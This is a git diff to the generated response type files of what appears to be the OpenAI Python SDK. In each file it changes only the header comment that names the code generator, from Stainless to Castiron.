diff --git a/src/openai/types/responses/input_item_list_params.py b/src/openai/types/responses/input_item_list_params.py
index 44a8dc5de3..da576f64a0 100644
--- a/src/openai/types/responses/input_item_list_params.py
+++ b/src/openai/types/responses/input_item_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/input_token_count_params.py b/src/openai/types/responses/input_token_count_params.py
index 17c350d5ac..886a370e02 100644
--- a/src/openai/types/responses/input_token_count_params.py
+++ b/src/openai/types/responses/input_token_count_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/input_token_count_response.py b/src/openai/types/responses/input_token_count_response.py
index 30ddfc1217..ac46a67f0a 100644
--- a/src/openai/types/responses/input_token_count_response.py
+++ b/src/openai/types/responses/input_token_count_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/local_environment.py b/src/openai/types/responses/local_environment.py
index 3ebdaa7e2a..8008e19585 100644
--- a/src/openai/types/responses/local_environment.py
+++ b/src/openai/types/responses/local_environment.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/local_environment_param.py b/src/openai/types/responses/local_environment_param.py
index 0ed1e81ffc..c7ea15f439 100644
--- a/src/openai/types/responses/local_environment_param.py
+++ b/src/openai/types/responses/local_environment_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/local_skill.py b/src/openai/types/responses/local_skill.py
index 1033c319d4..50d2fc6425 100644
--- a/src/openai/types/responses/local_skill.py
+++ b/src/openai/types/responses/local_skill.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/responses/local_skill_param.py b/src/openai/types/responses/local_skill_param.py
index 63011a49aa..7068698b79 100644
--- a/src/openai/types/responses/local_skill_param.py
+++ b/src/openai/types/responses/local_skill_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/namespace_tool.py b/src/openai/types/responses/namespace_tool.py
index 012d2e9e70..2b8d26cf07 100644
--- a/src/openai/types/responses/namespace_tool.py
+++ b/src/openai/types/responses/namespace_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/namespace_tool_param.py b/src/openai/types/responses/namespace_tool_param.py
index df721cf911..dbe1e7cfde 100644
--- a/src/openai/types/responses/namespace_tool_param.py
+++ b/src/openai/types/responses/namespace_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response.py b/src/openai/types/responses/response.py
index 6503d679b0..5677322692 100644
--- a/src/openai/types/responses/response.py
+++ b/src/openai/types/responses/response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_apply_patch_tool_call.py b/src/openai/types/responses/response_apply_patch_tool_call.py
index 8dfa8bd747..ae9d88fb8f 100644
--- a/src/openai/types/responses/response_apply_patch_tool_call.py
+++ b/src/openai/types/responses/response_apply_patch_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_apply_patch_tool_call_output.py b/src/openai/types/responses/response_apply_patch_tool_call_output.py
index cc375f58ce..79954ffc54 100644
--- a/src/openai/types/responses/response_apply_patch_tool_call_output.py
+++ b/src/openai/types/responses/response_apply_patch_tool_call_output.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_audio_delta_event.py b/src/openai/types/responses/response_audio_delta_event.py
index e577d65d04..515c3278d5 100644
--- a/src/openai/types/responses/response_audio_delta_event.py
+++ b/src/openai/types/responses/response_audio_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_audio_done_event.py b/src/openai/types/responses/response_audio_done_event.py
index f5f0401c86..5b63b40f99 100644
--- a/src/openai/types/responses/response_audio_done_event.py
+++ b/src/openai/types/responses/response_audio_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_audio_transcript_delta_event.py b/src/openai/types/responses/response_audio_transcript_delta_event.py
index 03be59a29f..ddef2c67bc 100644
--- a/src/openai/types/responses/response_audio_transcript_delta_event.py
+++ b/src/openai/types/responses/response_audio_transcript_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_audio_transcript_done_event.py b/src/openai/types/responses/response_audio_transcript_done_event.py
index 87219e4844..72e326dc73 100644
--- a/src/openai/types/responses/response_audio_transcript_done_event.py
+++ b/src/openai/types/responses/response_audio_transcript_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_code_interpreter_call_code_delta_event.py b/src/openai/types/responses/response_code_interpreter_call_code_delta_event.py
index c6bc8b73ea..36ee9fa36f 100644
--- a/src/openai/types/responses/response_code_interpreter_call_code_delta_event.py
+++ b/src/openai/types/responses/response_code_interpreter_call_code_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_code_interpreter_call_code_done_event.py b/src/openai/types/responses/response_code_interpreter_call_code_done_event.py
index 186c03711a..3fbbf2ff62 100644
--- a/src/openai/types/responses/response_code_interpreter_call_code_done_event.py
+++ b/src/openai/types/responses/response_code_interpreter_call_code_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_code_interpreter_call_completed_event.py b/src/openai/types/responses/response_code_interpreter_call_completed_event.py
index 197e39e7e9..cf800e8888 100644
--- a/src/openai/types/responses/response_code_interpreter_call_completed_event.py
+++ b/src/openai/types/responses/response_code_interpreter_call_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_code_interpreter_call_in_progress_event.py b/src/openai/types/responses/response_code_interpreter_call_in_progress_event.py
index c775f1b864..b59bf97e1f 100644
--- a/src/openai/types/responses/response_code_interpreter_call_in_progress_event.py
+++ b/src/openai/types/responses/response_code_interpreter_call_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_code_interpreter_call_interpreting_event.py b/src/openai/types/responses/response_code_interpreter_call_interpreting_event.py
index 85e9c87f08..634e78b64f 100644
--- a/src/openai/types/responses/response_code_interpreter_call_interpreting_event.py
+++ b/src/openai/types/responses/response_code_interpreter_call_interpreting_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_code_interpreter_tool_call.py b/src/openai/types/responses/response_code_interpreter_tool_call.py
index d7e30f4920..d1225080a3 100644
--- a/src/openai/types/responses/response_code_interpreter_tool_call.py
+++ b/src/openai/types/responses/response_code_interpreter_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_code_interpreter_tool_call_param.py b/src/openai/types/responses/response_code_interpreter_tool_call_param.py
index fc03a3fe48..e7d550e5ab 100644
--- a/src/openai/types/responses/response_code_interpreter_tool_call_param.py
+++ b/src/openai/types/responses/response_code_interpreter_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_compact_params.py b/src/openai/types/responses/response_compact_params.py
index 6c10beb01e..069f89389c 100644
--- a/src/openai/types/responses/response_compact_params.py
+++ b/src/openai/types/responses/response_compact_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_compaction_item.py b/src/openai/types/responses/response_compaction_item.py
index 36e953b127..16910b1431 100644
--- a/src/openai/types/responses/response_compaction_item.py
+++ b/src/openai/types/responses/response_compaction_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_compaction_item_param.py b/src/openai/types/responses/response_compaction_item_param.py
index 5ef134b074..ab548b4236 100644
--- a/src/openai/types/responses/response_compaction_item_param.py
+++ b/src/openai/types/responses/response_compaction_item_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_compaction_item_param_param.py b/src/openai/types/responses/response_compaction_item_param_param.py
index b4d72c2e5f..6b4289f473 100644
--- a/src/openai/types/responses/response_compaction_item_param_param.py
+++ b/src/openai/types/responses/response_compaction_item_param_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_completed_event.py b/src/openai/types/responses/response_completed_event.py
index 6dc958101c..2fe38788a1 100644
--- a/src/openai/types/responses/response_completed_event.py
+++ b/src/openai/types/responses/response_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_computer_tool_call.py b/src/openai/types/responses/response_computer_tool_call.py
index e0339e4afd..3e4667e2cf 100644
--- a/src/openai/types/responses/response_computer_tool_call.py
+++ b/src/openai/types/responses/response_computer_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_computer_tool_call_output_item.py b/src/openai/types/responses/response_computer_tool_call_output_item.py
index bf5555d056..784221b489 100644
--- a/src/openai/types/responses/response_computer_tool_call_output_item.py
+++ b/src/openai/types/responses/response_computer_tool_call_output_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_computer_tool_call_output_screenshot.py b/src/openai/types/responses/response_computer_tool_call_output_screenshot.py
index 2c16f215eb..f6c4eec356 100644
--- a/src/openai/types/responses/response_computer_tool_call_output_screenshot.py
+++ b/src/openai/types/responses/response_computer_tool_call_output_screenshot.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_computer_tool_call_output_screenshot_param.py b/src/openai/types/responses/response_computer_tool_call_output_screenshot_param.py
index 857ccf9fb9..e49f7deca3 100644
--- a/src/openai/types/responses/response_computer_tool_call_output_screenshot_param.py
+++ b/src/openai/types/responses/response_computer_tool_call_output_screenshot_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_computer_tool_call_param.py b/src/openai/types/responses/response_computer_tool_call_param.py
index 3c121097e5..d9a445b5a1 100644
--- a/src/openai/types/responses/response_computer_tool_call_param.py
+++ b/src/openai/types/responses/response_computer_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_container_reference.py b/src/openai/types/responses/response_container_reference.py
index 81f5bd8dad..0f850b2d5b 100644
--- a/src/openai/types/responses/response_container_reference.py
+++ b/src/openai/types/responses/response_container_reference.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_content_part_added_event.py b/src/openai/types/responses/response_content_part_added_event.py
index ec9893159d..1fc89b699f 100644
--- a/src/openai/types/responses/response_content_part_added_event.py
+++ b/src/openai/types/responses/response_content_part_added_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_content_part_done_event.py b/src/openai/types/responses/response_content_part_done_event.py
index f896ad8743..d817253d9d 100644
--- a/src/openai/types/responses/response_content_part_done_event.py
+++ b/src/openai/types/responses/response_content_part_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_conversation_param.py b/src/openai/types/responses/response_conversation_param.py
index 7db4129bf4..d66b0b219e 100644
--- a/src/openai/types/responses/response_conversation_param.py
+++ b/src/openai/types/responses/response_conversation_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/responses/response_conversation_param_param.py b/src/openai/types/responses/response_conversation_param_param.py
index dba3628d0b..ba43d8d7c8 100644
--- a/src/openai/types/responses/response_conversation_param_param.py
+++ b/src/openai/types/responses/response_conversation_param_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_create_params.py b/src/openai/types/responses/response_create_params.py
index b7282e5e6e..aa50fc730e 100644
--- a/src/openai/types/responses/response_create_params.py
+++ b/src/openai/types/responses/response_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_created_event.py b/src/openai/types/responses/response_created_event.py
index 308b2f4916..00c314abd2 100644
--- a/src/openai/types/responses/response_created_event.py
+++ b/src/openai/types/responses/response_created_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_custom_tool_call.py b/src/openai/types/responses/response_custom_tool_call.py
index 5831853ff3..433cebe3d6 100644
--- a/src/openai/types/responses/response_custom_tool_call.py
+++ b/src/openai/types/responses/response_custom_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_custom_tool_call_input_delta_event.py b/src/openai/types/responses/response_custom_tool_call_input_delta_event.py
index 7473d33d9a..7b03cf33f3 100644
--- a/src/openai/types/responses/response_custom_tool_call_input_delta_event.py
+++ b/src/openai/types/responses/response_custom_tool_call_input_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_custom_tool_call_input_done_event.py b/src/openai/types/responses/response_custom_tool_call_input_done_event.py
index be47ae8e96..ab4443bb05 100644
--- a/src/openai/types/responses/response_custom_tool_call_input_done_event.py
+++ b/src/openai/types/responses/response_custom_tool_call_input_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_custom_tool_call_item.py b/src/openai/types/responses/response_custom_tool_call_item.py
index 4f0f930674..f933761c9a 100644
--- a/src/openai/types/responses/response_custom_tool_call_item.py
+++ b/src/openai/types/responses/response_custom_tool_call_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_custom_tool_call_output.py b/src/openai/types/responses/response_custom_tool_call_output.py
index 6e58e3b253..8023f47aff 100644
--- a/src/openai/types/responses/response_custom_tool_call_output.py
+++ b/src/openai/types/responses/response_custom_tool_call_output.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_custom_tool_call_output_item.py b/src/openai/types/responses/response_custom_tool_call_output_item.py
index 5e5a469e8d..d54cadadf8 100644
--- a/src/openai/types/responses/response_custom_tool_call_output_item.py
+++ b/src/openai/types/responses/response_custom_tool_call_output_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_custom_tool_call_output_param.py b/src/openai/types/responses/response_custom_tool_call_output_param.py
index 2a6af1b8c0..db5c8952a7 100644
--- a/src/openai/types/responses/response_custom_tool_call_output_param.py
+++ b/src/openai/types/responses/response_custom_tool_call_output_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_custom_tool_call_param.py b/src/openai/types/responses/response_custom_tool_call_param.py
index dc645ea098..4b98dbc58c 100644
--- a/src/openai/types/responses/response_custom_tool_call_param.py
+++ b/src/openai/types/responses/response_custom_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_error.py b/src/openai/types/responses/response_error.py
index 254a7e3770..d046cd343b 100644
--- a/src/openai/types/responses/response_error.py
+++ b/src/openai/types/responses/response_error.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_error_event.py b/src/openai/types/responses/response_error_event.py
index 1789f731b4..23793b31b6 100644
--- a/src/openai/types/responses/response_error_event.py
+++ b/src/openai/types/responses/response_error_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_failed_event.py b/src/openai/types/responses/response_failed_event.py
index 2232c9678d..acc100dec5 100644
--- a/src/openai/types/responses/response_failed_event.py
+++ b/src/openai/types/responses/response_failed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_file_search_call_completed_event.py b/src/openai/types/responses/response_file_search_call_completed_event.py
index 88ffa5ac56..b1dc3a03ce 100644
--- a/src/openai/types/responses/response_file_search_call_completed_event.py
+++ b/src/openai/types/responses/response_file_search_call_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_file_search_call_in_progress_event.py b/src/openai/types/responses/response_file_search_call_in_progress_event.py
index 4f3504fda4..c6c16ca95f 100644
--- a/src/openai/types/responses/response_file_search_call_in_progress_event.py
+++ b/src/openai/types/responses/response_file_search_call_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_file_search_call_searching_event.py b/src/openai/types/responses/response_file_search_call_searching_event.py
index 5bf1a076dd..c47f37f4a3 100644
--- a/src/openai/types/responses/response_file_search_call_searching_event.py
+++ b/src/openai/types/responses/response_file_search_call_searching_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_file_search_tool_call.py b/src/openai/types/responses/response_file_search_tool_call.py
index fa45631345..e10324025f 100644
--- a/src/openai/types/responses/response_file_search_tool_call.py
+++ b/src/openai/types/responses/response_file_search_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_file_search_tool_call_param.py b/src/openai/types/responses/response_file_search_tool_call_param.py
index 45a5bbb486..08bf2f563f 100644
--- a/src/openai/types/responses/response_file_search_tool_call_param.py
+++ b/src/openai/types/responses/response_file_search_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_format_text_config.py b/src/openai/types/responses/response_format_text_config.py
index a4896bf9fe..25eb4b63d7 100644
--- a/src/openai/types/responses/response_format_text_config.py
+++ b/src/openai/types/responses/response_format_text_config.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_format_text_config_param.py b/src/openai/types/responses/response_format_text_config_param.py
index fcaf8f3fb6..b6bbac0965 100644
--- a/src/openai/types/responses/response_format_text_config_param.py
+++ b/src/openai/types/responses/response_format_text_config_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_format_text_json_schema_config.py b/src/openai/types/responses/response_format_text_json_schema_config.py
index b953112621..97179f0f82 100644
--- a/src/openai/types/responses/response_format_text_json_schema_config.py
+++ b/src/openai/types/responses/response_format_text_json_schema_config.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_format_text_json_schema_config_param.py b/src/openai/types/responses/response_format_text_json_schema_config_param.py
index 6f5c633106..0954ea2d4c 100644
--- a/src/openai/types/responses/response_format_text_json_schema_config_param.py
+++ b/src/openai/types/responses/response_format_text_json_schema_config_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_function_call_arguments_delta_event.py b/src/openai/types/responses/response_function_call_arguments_delta_event.py
index 0798c2e123..e088a14189 100644
--- a/src/openai/types/responses/response_function_call_arguments_delta_event.py
+++ b/src/openai/types/responses/response_function_call_arguments_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_function_call_arguments_done_event.py b/src/openai/types/responses/response_function_call_arguments_done_event.py
index 543cd073a2..84110992b4 100644
--- a/src/openai/types/responses/response_function_call_arguments_done_event.py
+++ b/src/openai/types/responses/response_function_call_arguments_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_function_call_output_item.py b/src/openai/types/responses/response_function_call_output_item.py
index 41898f9eda..63f954c2fd 100644
--- a/src/openai/types/responses/response_function_call_output_item.py
+++ b/src/openai/types/responses/response_function_call_output_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_function_call_output_item_list.py b/src/openai/types/responses/response_function_call_output_item_list.py
index 13db577160..a29cdb6a93 100644
--- a/src/openai/types/responses/response_function_call_output_item_list.py
